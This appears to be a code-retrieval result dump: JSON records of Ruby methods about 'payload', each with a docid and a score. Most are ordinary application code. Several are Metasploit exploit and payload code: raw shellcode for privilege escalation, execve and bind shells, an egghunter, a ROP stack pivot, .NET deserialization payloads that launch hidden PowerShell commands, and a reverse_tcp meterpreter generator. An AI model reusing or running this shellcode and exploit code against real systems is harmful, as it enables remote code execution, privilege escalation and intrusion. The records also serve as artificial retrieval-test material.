"295e2ce3dd833fbe2704dd2bbcda0ac1", "score": "0.5605334", "text": "def append_info_to_payload(payload)\n super\n payload[:request_id] = request.uuid\n payload[:pid] = Process.pid\n payload[:params] = request.filtered_parameters\n end", "title": "" }, { "docid": "674fdad4a9d52588595ad6a9fff52d0d", "score": "0.55958265", "text": "def additional_payload\n additional_payload_variables\n end", "title": "" }, { "docid": "3b886d2d005ab5061f8a78b7dcf921a8", "score": "0.55876833", "text": "def generate(*args)\n # Call the real generator to get the payload\n buf = super(*args)\n pre = ''\n app = ''\n\n test_arch = [ *(self.arch) ]\n\n # Handle all x86 code here\n if (test_arch.include?(ARCH_X86))\n\n # Syscall code\n sc = \"\\x68\\xff\\xd8\\xff\\x3c\" + # pushl $0x3cffd8ff #\n \"\\x6a\\x65\" + # pushl $0x65 #\n \"\\x89\\xe6\" + # movl %esp,%esi #\n \"\\xf7\\x56\\x04\" + # notl 0x04(%esi) #\n \"\\xf6\\x16\" # notb (%esi) #\n\n # Prepend\n\n if (datastore['PrependSetreuid'])\n # setreuid(0, 0)\n pre << \"\\x31\\xc0\" + # xorl %eax,%eax #\n \"\\x50\" + # pushl %eax #\n \"\\x50\" + # pushl %eax #\n \"\\xb0\\xca\" + # movb $0xca,%al #\n \"\\xff\\xd6\" # call *%esi #\n end\n\n if (datastore['PrependSetuid'])\n # setuid(0)\n pre << \"\\x31\\xc0\" + # xorl %eax,%eax #\n \"\\x50\" + # pushl %eax #\n \"\\xb0\\x17\" + # movb $0x17,%al #\n \"\\xff\\xd6\" # call *%esi #\n end\n\n if (datastore['PrependSetregid'])\n # setregid(0, 0)\n pre << \"\\x31\\xc0\" + # xorl %eax,%eax #\n \"\\x50\" + # pushl %eax #\n \"\\x50\" + # pushl %eax #\n \"\\xb0\\xcb\" + # movb $0xcb,%al #\n \"\\xff\\xd6\" # call *%esi #\n end\n\n if (datastore['PrependSetgid'])\n # setgid(0)\n pre << \"\\x31\\xc0\" + # xorl %eax,%eax #\n \"\\x50\" + # pushl %eax #\n \"\\xb0\\x2e\" + # movb $0x2e,%al #\n \"\\xff\\xd6\" # call *%esi #\n end\n # Append\n\n if (datastore['AppendExit'])\n # exit(0)\n app << \"\\x31\\xc0\" + # xorl %eax,%eax #\n \"\\x50\" + # pushl %eax #\n \"\\xb0\\x01\" + # movb $0x01,%al #\n \"\\xff\\xd6\" # call *%esi #\n end\n\n # Prepend syscall code to prepend block\n if !(pre.empty?)\n pre = sc + pre\n end\n\n # Prepend syscall code to append block\n if !(app.empty?)\n app = sc + app\n end\n\n end\n\n return (pre + buf + app)\n end", "title": "" }, { "docid": "a759a0489d08d9acaeea299ad6ed21a8", "score": "0.55827874", "text": "def product_payload(type = \"base\")\n payload = {\n sku: FFaker::Product.model,\n externalId: FFaker::Product.model,\n description: FFaker::Product.product,\n classification: \"baseProduct\",\n category: \"OTHER\",\n batteryConfiguration: \"NOBATTERY\",\n values: {\n costValue: 1,\n retailValue: 4\n },\n dimensions: {\n length: 1,\n width: 1,\n height: 1,\n weight: 1\n },\n flags: {\n isPackagedReadyToShip: 1,\n isFragile: 0,\n isDangerous: 0,\n isPerishable: 0,\n isLiquid: 0,\n isMedia: 0,\n isAdult: 0,\n hasInnerPack: 0,\n hasMasterCase: 0,\n hasPallet: 0\n }\n }\n\n product_contents = [\n {\n externalId: \"TEST-PRODUCT\",\n quantity: 1\n },\n {\n externalId: \"TEST-PRODUCT2\",\n quantity: 1\n }\n ]\n\n case type\n when \"insert\"\n payload.deeper_merge!(\n classification: \"marketingInsert\",\n dimensions: {\n height: 0.1,\n weight: 0.1\n },\n masterCase: {\n individualItemsPerCase: 1,\n sku: FFaker::Product.model,\n description: FFaker::Product.product,\n dimensions: {\n length: 1,\n width: 1,\n height: 1,\n weight: 1\n }\n },\n inclusionRules: {\n insertWhenWorthCurrency: \"USD\"\n }\n )\n when \"kit\"\n payload.deeper_merge!(\n classification: \"kit\",\n kitContent: product_contents\n )\n\n when \"virtual_kit\"\n payload.deeper_merge!(\n classification: \"virtualKit\",\n virtualKitContent: product_contents\n )\n end\n\n payload\n end", "title": "" }, { "docid": "5b0c267b76f9afd24bee3b5ca96ed937", "score": "0.55792344", "text": "def append_info_to_payload(payload)\n super\n payload[:ip] = request.remote_ip\n payload[:request_id] = request.uuid\n payload[:platform] = api_request.key_infos.try(:[], :device)\n payload[:version] = api_request.key_infos.try(:[], :version)\n payload[:user] = current_user_or_anonymous&.uuid\n payload[:api_key] = api_request.api_key\n end", "title": "" }, { "docid": "d3af42db2e37e6330fbdbbfd8adb871d", "score": "0.55649936", "text": "def encode_payload(opts)\n # Defaults to nothing\n \"\"\n end", "title": "" }, { "docid": "ba4cbc1de794e47c9e5b04c01aaa6435", "score": "0.55612725", "text": "def generate_simple(opts)\n\t\tMsf::Simple::Payload.generate_simple(self, opts)\n\tend", "title": "" }, { "docid": "ac9e6bcc724114f29006b6db0332411d", "score": "0.5555737", "text": "def build_basic_data\n {\n 'build': '1.1.2',\n 'token': 'TEST_ENV_VALID_TOKEN',\n 'content': [\n {\n 'name': 'Endpoint 1',\n 'object': 'FieldTrip',\n 'url': 'http://example.com/microservices_engine/v1/data'\n },\n {\n 'name': 'Endpoint 2',\n 'object': 'Survey',\n 'url': 'http://potatoes.com/microservices_engine/v1/data'\n }\n ]\n }\nend", "title": "" }, { "docid": "1daee3b1a4f759e7457574fb24436ee8", "score": "0.55309594", "text": "def build_payload(*modules)\n klass = Class.new(Payload)\n\n # Remove nil modules\n modules.compact!\n\n # Include the modules supplied to us with the mad skillz\n # spoonfu style\n klass.include(*modules.reverse)\n\n return klass\n end", "title": "" }, { "docid": "a415893776163ee1d627e615eeaf002c", "score": "0.5529894", "text": "def payload\n {\n \"name\" => name,\n \"requirements\" => clean_requirements\n }\n end", "title": "" }, { "docid": "19cd11d8d87fa2314c95989b128124ef", "score": "0.55290526", "text": "def append_info_to_payload(payload)\n super\n payload[:request_id] = request.uuid\n payload[:user_id] = current_user.id if current_user\n payload[:account_id] = current_account.cname if current_account\n end", "title": "" }, { "docid": "b485387a2fd71176103c8dfcc1ace309", "score": "0.5524267", "text": "def __prepare_body(data)\n\n if data[:template].has_key?(:content)\n unless data[:template][:content].empty?\n data[:template][:content] = Base64.encode64(data[:template][:content])\n end\n end\n\n if data[:template].has_key?(:archive)\n unless data[:template][:archive].empty?\n data[:template][:archive] = Base64.encode64(data[:template][:archive])\n end\n end\n\n if data[:template].has_key?(:plain_text)\n unless data[:template][:plain_text].empty?\n data[:template][:plain_text] = Base64.encode64(data[:template][:plain_text])\n end\n end\n\n campaign_data = {}\n campaign_data[:campaign] = data\n\n campaign_data\n end", "title": "" }, { "docid": "98e7689ad52e48535e80e5ee592ed2eb", "score": "0.5522821", "text": "def add_fields(fields)\n return if @payload.except(:payload_key, :partition_key).blank?\n\n if fields.include?('message_id')\n @payload['message_id'] ||= SecureRandom.uuid\n end\n if fields.include?('timestamp')\n @payload['timestamp'] ||= Time.now.in_time_zone.to_s\n end\n end", "title": "" }, { "docid": "97f13ba499a46a66c15a0dfad1b375b8", "score": "0.5514231", "text": "def payloads\n\tend", "title": "" }, { "docid": "62e8f06aa54b1af6c9eb64ddd7efc06e", "score": "0.5500082", "text": "def generate_java_payload\n payload_module = framework.payloads.create(payload)\n payload_module.datastore.merge!(datastore)\n case format\n when \"raw\", \"jar\"\n if payload_module.respond_to? :generate_jar\n payload_module.generate_jar.pack\n else\n payload_module.generate\n end\n when \"war\"\n if payload_module.respond_to? :generate_war\n payload_module.generate_war.pack\n else\n raise InvalidFormat, \"#{payload} is not a Java payload\"\n end\n else\n raise InvalidFormat, \"#{format} is not a valid format for Java payloads\"\n end\n end", "title": "" }, { "docid": "28b5679a3292513d838942add9172fb4", "score": "0.5497043", "text": "def setup_payload\r\n # 1. Setting up generic values.\r\n payload_exe = rand_text_alphanumeric(4 + rand(4))\r\n pl_exe = generate_payload_exe\r\n\r\n # 2. Setting up arch specific...\r\n case target['Platform']\r\n when 'linux'\r\n path = temp_path || '/tmp/'\r\n payload_exe = \"#{path}#{payload_exe}\"\r\n if @os.downcase =~ /win/\r\n print_warning(\"#{peer} - #{@os} system detected but using Linux target...\")\r\n end\r\n when 'win'\r\n path = temp_path || './'\r\n payload_exe = \"#{path}#{payload_exe}.exe\"\r\n unless @os.downcase =~ /win/\r\n print_warning(\"#{peer} - #{@os} system detected but using Windows target...\")\r\n end\r\n end\r\n\r\n return payload_exe, pl_exe\r\n end", "title": "" }, { "docid": "96b94b7c02c0cab6dcf136779d6e1182", "score": "0.5495965", "text": "def generate_java_payload\n payload_module = framework.payloads.create(payload)\n payload_module.datastore.merge!(datastore)\n case format\n when \"raw\", \"jar\"\n if payload_module.respond_to? :generate_jar\n payload_module.generate_jar.pack\n else\n payload_module.generate\n end\n when \"war\"\n if payload_module.respond_to? :generate_war\n payload_module.generate_war.pack\n else\n raise InvalidFormat, \"#{payload} is not a Java payload\"\n end\n when \"axis2\"\n if payload_module.respond_to? :generate_axis2\n payload_module.generate_axis2.pack\n else\n raise InvalidFormat, \"#{payload} is not a Java payload\"\n end\n else\n raise InvalidFormat, \"#{format} is not a valid format for Java payloads\"\n end\n end", "title": "" }, { "docid": "a8f0dc25051ed69febb4b190c794f1ad", "score": "0.54529583", "text": "def payload_as_string\n [].tap do |out|\n options = {}\n options[:template] = File.read(template) unless template.nil?\n\n payload_template = PayloadTemplate.new(\n artifacts: artifacts,\n rule: rule,\n options: options\n )\n out << payload_template.result\n end.first\n end", "title": "" }, { "docid": "4d200993be7ed68e0af0e2993849f71c", "score": "0.5449536", "text": "def generate(payload, badchars = '', opts = {})\n # set defaults if options are missing\n\n # NOTE: there is no guarantee this won't exist in memory, even when doubled.\n # To address this, use the checksum feature :)\n opts[:eggtag] ||= Rex::Text.rand_text(4, badchars)\n\n # Generate the hunter_stub portion\n return nil if ((hunter = hunter_stub(payload, badchars, opts)) == nil)\n\n # Generate the marker bits to be prefixed to the real payload\n egg = ''\n egg << opts[:eggtag] * 2\n egg << payload\n if opts[:checksum]\n cksum = 0\n payload.each_byte { |b|\n cksum += b\n }\n egg << [cksum & 0xff].pack('C')\n end\n\n return [ hunter, egg ]\n end", "title": "" }, { "docid": "03198c765573835536b2edbace48ed44", "score": "0.54427505", "text": "def pack(payload=[], with_identity=true)\n if with_identity\n payload.unshift(\"\")\n payload.unshift(@identity) \n end\n payload.join(\"\\n\") + \"\\n\\r\\n\\r\\n\"\n end", "title": "" }, { "docid": "fd68ce34704430d6b3bed52a09bc8d94", "score": "0.541628", "text": "def finalise_payload(payload, context, tstamp, event_subject, page)\n payload.add_json(build_context(context), @encode_base64, 'cx', 'co') unless context.nil? || context.empty?\n payload.add_hash(page.details) unless page.nil?\n\n if event_subject.nil?\n payload.add_hash(@subject.details)\n else\n payload.add_hash(@subject.details.merge(event_subject.details))\n end\n\n payload.add(tstamp.type, tstamp.value)\n payload.add_hash(@settings)\n payload.add('eid', event_id)\n\n nil\n end", "title": "" }, { "docid": "753160dd1902c9e73ba79d2fd86b1603", "score": "0.54058784", "text": "def generate\n\t\tcmd = (datastore['CMD'] || '') << \"\\x00\"\n\t\tcall = \"\\xe8\" + [cmd.length].pack('V')\n\t\tpayload =\n\t\t\t\"\\x48\\x31\\xc0\" + # xor rax, rax\n\t\t\t\"\\x48\\xb8\\x3b\\x00\\x00\\x02\\x00\\x00\\x00\\x00\" + # mov rax, 0x200003b (execve)\n\t\t\tcall + # call CMD.len\n\t\t\tcmd + # CMD\n\t\t\t\"\\x48\\x8b\\x3c\\x24\" + # mov rdi, [rsp]\n\t\t\t\"\\x48\\x31\\xd2\" + # xor rdx, rdx\n\t\t\t\"\\x52\" + # push rdx\n\t\t\t\"\\x57\" + # push rdi\n\t\t\t\"\\x48\\x89\\xe6\" + # mov rsi, rsp\n\t\t\t\"\\x0f\\x05\" # syscall\n\tend", "title": "" }, { "docid": "ccbd460eaec5cb8af03573c5b22c04fd", "score": "0.5392917", "text": "def payload\n @encoded_payload ||= -> {\n json = (@data.respond_to?(:to_json) ? @data.to_json : JSON.dump(@data)).force_encoding 'ascii-8bit'\n [2, json.bytesize, json].pack 'cna*'\n }.call\n end", "title": "" }, { "docid": "16aa5888ed61ed40667164ed4daca178", "score": "0.5392435", "text": "def to_payload\n payload = \"\"\n @tx_in_wit.each{|w|payload << w.to_payload}\n payload\n end", "title": "" }, { "docid": "280f3108a7f66cf056fe9d41147a4172", "score": "0.53895795", "text": "def init_payload(properties = nil)\n properties ||= self.attributes\n\n properties.select { |key, value| value.present? }.tap do |payload|\n payload[:partner_id] ||= TestChamber.default_partner_id\n payload[:offer_objective_id] = properties.objective_id\n end\n end", "title": "" }, { "docid": "191234792e9c22b3d692f954a43a0fba", "score": "0.53879935", "text": "def generate\n\t\tcmd = (datastore['CMD'] || '') << \"\\x00\"\n\t\tport = [datastore['LPORT'].to_i].pack('n')\n\t\tcall = \"\\xe8\" + [cmd.length].pack('V')\n\t\tpayload =\n\t\t\t\"\\xB8\\x61\\x00\\x00\\x02\" + # mov eax,0x2000061\n\t\t\t\"\\x6A\\x02\" + # push byte 0x1\n\t\t\t\"\\x5f\" + # pop rdi\n\t\t\t\"\\x6A\\x01\" + # push byte 0x1\n\t\t\t\"\\x5e\" + # pop rsi\n\t\t\t\"\\x48\\x31\\xD2\" + # xor rdx,rdx\n\t\t\t\"\\x0F\\x05\" + # loadall286\n\t\t\t\"\\x48\\x89\\xC7\" + # mov rdi,rax\n\t\t\t\"\\xB8\\x68\\x00\\x00\\x02\" + # mov eax,0x2000068\n\t\t\t\"\\x48\\x31\\xF6\" + # xor rsi,rsi\n\t\t\t\"\\x56\" + # push rsi\n\t\t\t\"\\xBE\\x00\\x02\" + port + # mov esi,0xb3150200\n\t\t\t\"\\x56\" + # push rsi\n\t\t\t\"\\x48\\x89\\xE6\" + # mov rsi,rsp\n\t\t\t\"\\x6A\\x10\" + # push 0x10\n\t\t\t\"\\x5A\" + # pop rdx\n\t\t\t\"\\x0F\\x05\" + # loadall286\n\t\t\t\"\\xB8\\x6A\\x00\\x00\\x02\" + # mov eax,0x200006a\n\t\t\t\"\\x48\\x31\\xF6\" + # xor rsi,rsi\n\t\t\t\"\\x48\\xFF\\xC6\" + # inc rsi\n\t\t\t\"\\x49\\x89\\xFC\" + # mov r12,rdi\n\t\t\t\"\\x0F\\x05\" + # loadall286\n\t\t\t\"\\xB8\\x1E\\x00\\x00\\x02\" + # mov eax,0x200001e\n\t\t\t\"\\x4C\\x89\\xE7\" + # mov rdi,r12\n\t\t\t\"\\x48\\x89\\xE6\" + # mov rsi,rsp\n\t\t\t\"\\x48\\x89\\xE2\" + # mov rdx,rsp\n\t\t\t\"\\x48\\x83\\xEA\\x04\" + # sub rdx,byte +0x4\n\t\t\t\"\\x0F\\x05\" + # loadall286\n\t\t\t\"\\x48\\x89\\xC7\" + # mov rdi,rax\n\t\t\t\"\\xB8\\x5A\\x00\\x00\\x02\" + # mov eax,0x200005a\n\t\t\t\"\\x48\\x31\\xF6\" + # xor rsi,rsi\n\t\t\t\"\\x0F\\x05\" + # loadall286\n\t\t\t\"\\xB8\\x5A\\x00\\x00\\x02\" + # mov eax,0x200005a\n\t\t\t\"\\x48\\xFF\\xC6\" + # inc rsi\n\t\t\t\"\\x0F\\x05\" + # loadall286\n\t\t\t\"\\x48\\x31\\xC0\" + # xor rax,rax\n\t\t\t\"\\xB8\\x3B\\x00\\x00\\x02\" + # mov eax,0x200003b\n\t\t\tcall + # call CMD.len\n\t\t\tcmd + # CMD\n\t\t\t\"\\x48\\x8b\\x3c\\x24\" + # mov rdi, [rsp]\n\t\t\t\"\\x48\\x31\\xD2\" + # xor rdx,rdx\n\t\t\t\"\\x52\" + # push rdx\n\t\t\t\"\\x57\" + # push rdi\n\t\t\t\"\\x48\\x89\\xE6\" + # mov rsi,rsp\n\t\t\t\"\\x0F\\x05\" # loadall286\n\tend", "title": "" }, { "docid": "88b7b719b915fe605da5d4c78f2fd396", "score": "0.5384125", "text": "def payload_for_create(logins:, phone_numbers:, legal_names:, **options)\n payload = {\n 'logins' => logins,\n 'phone_numbers' => phone_numbers,\n 'legal_names' => legal_names,\n }\n # optional payload fields\n extra = {}\n extra['note'] = options[:note] if options[:note]\n extra['supp_id'] = options[:supp_id] if options[:supp_id]\n extra['is_business'] = options[:is_business] if options[:is_business]\n extra['cip_tag'] = options[:cip_tag] if options[:cip_tag]\n payload['extra'] = extra if extra.any?\n\n payload\n end", "title": "" }, { "docid": "4653e159c63c9f5fa76e49b52ea87505", "score": "0.53777796", "text": "def payload_script\n pay_mod = framework.payloads.create(datastore['PAYLOAD'])\n payload = pay_mod.generate_simple(\n \"BadChars\" => '',\n \"Format\" => 'raw',\n \"Encoder\" => 'x86/alpha_mixed',\n \"ForceEncode\" => true,\n \"Options\" =>\n {\n 'LHOST' => datastore['LHOST'],\n 'LPORT' => datastore['LPORT'],\n 'EXITFUNC' => 'thread',\n 'BufferRegister' => 'EAX'\n },\n )\n\n # To ensure compatibility out payload should be US-ASCII\n return payload.encode('ASCII')\n end", "title": "" }, { "docid": "4f7eb648e6a426e17d5c48a65c568ed5", "score": "0.5375251", "text": "def create_payload\r\n # Create payload\r\n psh_cmd = \"/b /c start /b /min \" + cmd_psh_payload(\r\n payload.encoded,\r\n payload_instance.arch.first,\r\n remove_comspec: true, encode_final_payload: false\r\n )\r\n\r\n psh_cmd_bytes = psh_cmd.bytes.to_a\r\n cmd_size_bytes = write_encoded_int(psh_cmd.length)\r\n\r\n # Package payload into serialized object\r\n payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end\r\n object_size = write_encoded_int(payload_object.length)\r\n\r\n # Create the final seralized ObjectStateFormatter payload\r\n final_payload = @osf_header + object_size + payload_object\r\n b64_payload = Rex::Text.encode_base64(final_payload.pack(\"C*\"))\r\n\r\n vprint_status(\"Payload Object Created.\")\r\n\r\n return b64_payload\r\n end", "title": "" }, { "docid": "eef1de07e8fc2e2abbfdde0c39b83377", "score": "0.53685534", "text": "def initialize_payload\n data = request.body.read\n @payload = data.nil? || data.empty? ? {} : JSON.parse(data)\n end", "title": "" }, { "docid": "fd7216d00d869f1b95350bd141dbf59f", "score": "0.53552014", "text": "def build_payload(command)\n [PAYLOAD_START, command, 0, 0, 0, 0, 0, 0].pack('CCCCCCCC')\n end", "title": "" }, { "docid": "69e7fa920308193eac5c3008d9c76d7c", "score": "0.53271836", "text": "def receiving_parameters_for(data)\n { payload: data[:payload] }.merge(_common_parameters)\n end", "title": "" }, { "docid": "967a77b93ed22f5c52dc982c20f97ccd", "score": "0.5324944", "text": "def get_payload\r\n code = ''\r\n code << \"\\x81\\xEC\\xF0\\xD8\\xFF\\xFF\" # sub esp, -10000\r\n code << \"\\x61\\x9d\" # popad; popfd\r\n code << payload.encoded\r\n\r\n stack_pivot = [\r\n 0x7c342643, # xchg eax, esp; pop edi; add [eax], al, pop ecx; ret\r\n 0x0c0c0c0c\r\n ].pack(\"V*\")\r\n\r\n p = generate_rop_payload('java', code, {'pivot'=>stack_pivot})\r\n\r\n return p\r\n end", "title": "" }, { "docid": "7a0ef4ac9b1cf91007e5880c08c1d8af", "score": "0.5321429", "text": "def generate_data_string(service_msg_number, sigparams)\n str = ''\n Pizza.required_service_params[Integer(service_msg_number)].each do |param|\n val = sigparams[param].to_s # nil goes to ''\n str << func_p(val) << val\n end\n str\n end", "title": "" }, { "docid": "0665415ba19db5a0a19ff0866ea914b6", "score": "0.53160775", "text": "def make_body\r\n rand_str = String.rand_alpha(rand(10)+1)\r\n rand_nam = String.rand_alpha(rand(20)+1)\r\n \"v=0\\r\\n\" +\r\n \"o=- #{rand(0xffffffff)} 1 IN IP4 0.0.0.0\\r\\n\" +\r\n \"s=MPEG-1 or 2 Audio, streamed by #{rand_str}\\r\\n\" +\r\n \"i=#{@mpfile}\\r\\n\" +\r\n \"t=0 0\\r\\n\" +\r\n \"a=tool:#{rand_nam}\\r\\n\" +\r\n \"a=type:broadcast\\r\\n\" +\r\n \"a=control:*\\r\\n\" +\r\n \"a=range:npt=0-213.077\\r\\n\" +\r\n \"a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by #{rand_str}\\r\\n\" +\r\n \"a=x-qt-text-inf:#{@mpfile}\\r\\n\" +\r\n \"m=audio 0 RTP/AVP 14\\r\\n\" +\r\n \"c=IN IP4 0.0.0.0\\r\\n\" +\r\n \"a=control:track1\\r\\n\"\r\n end", "title": "" }, { "docid": "219e66f80ae76e44a07314f708041b0c", "score": "0.53120756", "text": "def to_payload\n flg = encrypted ? 1 : 0\n pack_var_int(flg) << [salt, seed].map{|v|pack_var_string(v.htb)}.join\n end", "title": "" }, { "docid": "9755809ee02e147f052b72ac6a6a695d", "score": "0.5305564", "text": "def payload\n @payload || load_payload\n end", "title": "" }, { "docid": "4cbe52608e0200dd8ff07adf2fb578c8", "score": "0.52842206", "text": "def generate_data_string(service_msg_number, sigparams, required_service_params)\n str = ''\n required_params = required_service_params[service_msg_number.to_i] || required_service_params[service_msg_number]\n\n required_params.each do |param|\n val = sigparams[param].to_s # nil goes to ''\n str << func_p(val) << val\n end\n #binding.pry\n str\n end", "title": "" }, { "docid": "1afab5810e5043bde519952c86d8aca2", "score": "0.526466", "text": "def pack\n packdata = [@op, @rq_id, @tx_id, @payload.length]\n packdata.pack('IIII') + @payload\n end", "title": "" }, { "docid": "ceabea36a23678f7664de32d23411e05", "score": "0.5258978", "text": "def payload # rubocop:disable Metrics/MethodLength\n @payload ||= {\n # String that indicates the type of the sender's LTI message\n # http://www.imsglobal.org/spec/lti/v1p3/#message-type-claim\n 'https://purl.imsglobal.org/spec/lti/claim/message_type': 'LtiResourceLinkRequest',\n\n # String that indicates the version of LTI to which the message conforms.\n # http://www.imsglobal.org/spec/lti/v1p3/#lti-version-claim\n 'https://purl.imsglobal.org/spec/lti/claim/version': '1.3.0',\n\n # Same value as the target_link_uri passed by the platform in the OIDC third party initiated login request.\n # http://www.imsglobal.org/spec/lti/v1p3/#target-link-uri\n 'https://purl.imsglobal.org/spec/lti/claim/target_link_uri': @tool.target_link_uri,\n\n # Case sensitive string that identifies the platform-tool integration governing the message.\n # http://www.imsglobal.org/spec/lti/v1p3/#lti-deployment-id-claim\n 'https://purl.imsglobal.org/spec/lti/claim/deployment_id': @tool.id,\n\n # Array of URI values for roles that the user has within the message's associated context.\n # By default it is empty but can be overwritten by providing a context.\n # http://www.imsglobal.org/spec/lti/v1p3/#roles-claim\n 'https://purl.imsglobal.org/spec/lti/claim/roles': [],\n\n # Properties for the context from within which the resource link launch occurs.\n # By default it returns the launcher context.\n # http://www.imsglobal.org/spec/lti/v1p3/#context-claim\n # 'https://purl.imsglobal.org/spec/lti/claim/context': {\n # id: @tool.id\n # },\n\n # Properties for the resource link from which the launch message occurs.\n # By default it returns the launcher context.\n # http://www.imsglobal.org/spec/lti/v1p3/#resource-link-claim\n 'https://purl.imsglobal.org/spec/lti/claim/resource_link': {\n id: @tool.id\n },\n\n # Issuer Identifier for the Issuer of the message i.e. the Platform\n # https://tools.ietf.org/html/rfc7519#section-4.1.1\n iss: Rails.application.secrets.issuer,\n\n # Audience(s) for whom this ID Token is intended i.e. the Client.\n # It MUST contain the OAuth 2.0 client_id of the Client as an audience value.\n # https://tools.ietf.org/html/rfc7519#section-4.1.3\n aud: @tool.client_id,\n\n # Time at which the Issuer generated the JWT (epoch)\n # https://tools.ietf.org/html/rfc7519#section-4.1.6\n iat: Time.now.to_i,\n\n # Expiration time on or after which the Client MUST NOT accept the ID Token for processing (epoch)\n # https://tools.ietf.org/html/rfc7519#section-4.1.4\n exp: 5.minutes.from_now.to_i,\n\n # String value used to associate a Client session with an ID Token, and to mitigate replay attacks.\n # The nonce value is a case-sensitive string.\n # https://www.imsglobal.org/spec/security/v1p0#tool-jwt\n nonce: SecureRandom.hex(10)\n }.with_indifferent_access.merge(@context)\n end", "title": "" }, { "docid": "223ccd24542d8d9c94181496deed6983", "score": "0.5257715", "text": "def _payload(types)\n respond Ruhoh::DB.payload, types\n end", "title": "" }, { "docid": "a5bd2156f6e13a57339806e534a409ab", "score": "0.5249699", "text": "def create_request_payload(url)\r\n psh_cmd = \"/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \\\"Invoke-WebRequest '#{url}'\\\"\"\r\n psh_cmd_bytes = psh_cmd.bytes.to_a\r\n\r\n cmd_size_bytes = write_encoded_int(psh_cmd.length)\r\n\r\n # Package payload into serialized object\r\n payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end\r\n\r\n object_size = write_encoded_int(payload_object.length)\r\n\r\n # Create the final seralized ObjectStateFormatter payload\r\n final_payload = @osf_header + object_size + payload_object\r\n\r\n b64_payload = Rex::Text.encode_base64(final_payload.pack(\"C*\"))\r\n return b64_payload\r\n end", "title": "" }, { "docid": "aea4538eb8c9d67e60046470a9666697", "score": "0.5248478", "text": "def serialize_payload\n raise \"override me! -- #serialize_payload\"\n end", "title": "" }, { "docid": "0b0ce54ac8eb1c59db46ff49187400e3", "score": "0.5240118", "text": "def payload\n ok? ? @lines[-1][2..-1].join(' ') : ''\n end", "title": "" }, { "docid": "066ce9c2ca6a3fee6c92f217e796338f", "score": "0.5230543", "text": "def build(options = {})\n options.each do |k,v|\n k = k.to_s\n unless k.match(/^body_/)\n self.send(\"#{k}=\", v)\n else\n k.gsub!(\"body_\", \"\")\n self.body(k, v)\n end\n end\n end", "title": "" }, { "docid": "da0af1b116e4133c7f4786b158c23237", "score": "0.5211512", "text": "def default_payload(payload = {})\n { pipeline: instrumentation_name }.merge(payload)\n end", "title": "" }, { "docid": "40be3ffdc9c5c02ad0f90c4f217fcd19", "score": "0.51967233", "text": "def generate_short_payload_anyone_can_pay_address\n ConvertAddress.encode(prefix, short_payload(CODE_HASH_INDEX_ANYONE_CAN_PAY))\n end", "title": "" }, { "docid": "e30a0eab3bb8bdd3a1b94df5198949ae", "score": "0.51914626", "text": "def format(payload)\n if(payload.get(:data, :package_builder, :categorized))\n payload.set(:data, :repository_generator, :add,\n [payload.get(:data, :package_builder, :categorized)]\n )\n end\n end", "title": "" }, { "docid": "bd774fa59042bdc33cd3224e52f8f6b5", "score": "0.51870334", "text": "def generate_data_string(service_msg_number, sigparams, required_service_params)\n str = ''\n required_params = required_service_params[Integer(service_msg_number)] || required_service_params[service_msg_number]\n required_params.each do |param|\n val = sigparams[param].to_s # nil goes to ''\n str << func_p(val) << val\n end\n str\n end", "title": "" }, { "docid": "e4a12908840e616fae43be7cd551a1f2", "score": "0.5185896", "text": "def payload_bitstring=(val)\n super\n @fields = application_data.split(\",\")\n end", "title": "" }, { "docid": "4cde2254a1d8ac6f25c5b19a6a89db17", "score": "0.51822484", "text": "def to_payload\n script_witness.to_payload\n end", "title": "" }, { "docid": "b4960178244ccc1c7d1c71702ea1e887", "score": "0.5180875", "text": "def gcm_payload\n {\n collapse: collapse,\n delay_while_idle: idle_delay,\n custom_field: (extra || {}).merge(message: message, sound: sound)\n }.keep_if { |_, v| !v.nil? }\n end", "title": "" }, { "docid": "99d1fe4655aaf4cd2c0a40157343e771", "score": "0.5179448", "text": "def send(something)\n # payload e' la rappresentazione serializzata di quello che vogliamo trasferire\n if block_given? then\n payload = yield(something)\n else\n payload = YAML.dump(something)\n end\n length = [payload.size].pack(LENGTH_CODE)\n \n @socket.connect\n @socket.print length\n @socket.print payload\n \n return payload\n end", "title": "" }, { "docid": "021d315da2ea0de65ebd52140fa64ad9", "score": "0.51725084", "text": "def process params\n begin\n @template[:payload].each_pair do |key,value|\n variables = @help.identify_variables @template[:payload][key]\n variables.each do |v|\n unless params[v].nil?\n if params[v].kind_of? Array\n @template[:payload][key].gsub!(\"%{#{v}}\", params[v].to_json)\n else\n @template[:payload][key].gsub!(\"%{#{v}}\", params[v].to_s)\n end\n end\n end\n end\n self.process_helpers\n rescue Exception => e\n Services::Slog.exception e\n end\n end", "title": "" }, { "docid": "0c2839d2c1e9d69084a6ec2890336a89", "score": "0.5169361", "text": "def payload(data = nil)\n if data\n self.class.new(id, @payload.merge(data))\n else\n @payload\n end\n end", "title": "" }, { "docid": "449b43269388f68941cada10dc1a28f2", "score": "0.5160671", "text": "def configure_payload(content = nil)\n payload[\"page\"] = document.to_liquid\n payload[\"paginator\"] = document.respond_to?(:paginator) ? document.paginator.to_liquid : nil\n payload[\"layout\"] = @layout ? @layout.to_liquid.merge({ data: @layout.data }) : {}\n payload[\"content\"] = content\n payload[\"data\"] = payload[\"page\"].data\n end", "title": "" }, { "docid": "d85056dec84b0ad39e9413ea6437f7cf", "score": "0.51578695", "text": "def ipv4_pay_gen(ipv4payload,lhost,lport)\r\n\tif ipv4payload == \"linux/x86/meterpreter/reverse_tcp\"\r\n\tprint_status(\"Creating #{ipv4payload} LHOST=#{lhost} LPORT=#{lport}\")\r\n\tpayload = \"#{ipv4payload}\"\r\n\tpay = client.framework.payloads.create(payload)\r\n\tpay.datastore['LPORT'] = lport\r\n\tpay.datastore['LHOST'] = lhost\r\n\treturn pay.generate\r\n else\r\n\tprint_status(\"Creating #{ipv4payload} LPORT=#{lport}\")\r\n\tpayload = \"#{ipv4payload}\"\r\n\tpay = client.framework.payloads.create(payload)\r\n\tpay.datastore['LPORT'] = lport\r\n\treturn pay.generate\r\n\tend\r\n\t\r\nend", "title": "" }, { "docid": "eba5538baa5684984ea253746bbf76a6", "score": "0.515644", "text": "def payload_for_failed\n nil\n #payload = super\n #payload[:text] = \"OMG :fire: #{payload[:text]}\"\n #payload\n end", "title": "" }, { "docid": "309c187c30fa711d685563e2d4efde3c", "score": "0.51454276", "text": "def payload(msg_data, subscriber_ids)\n 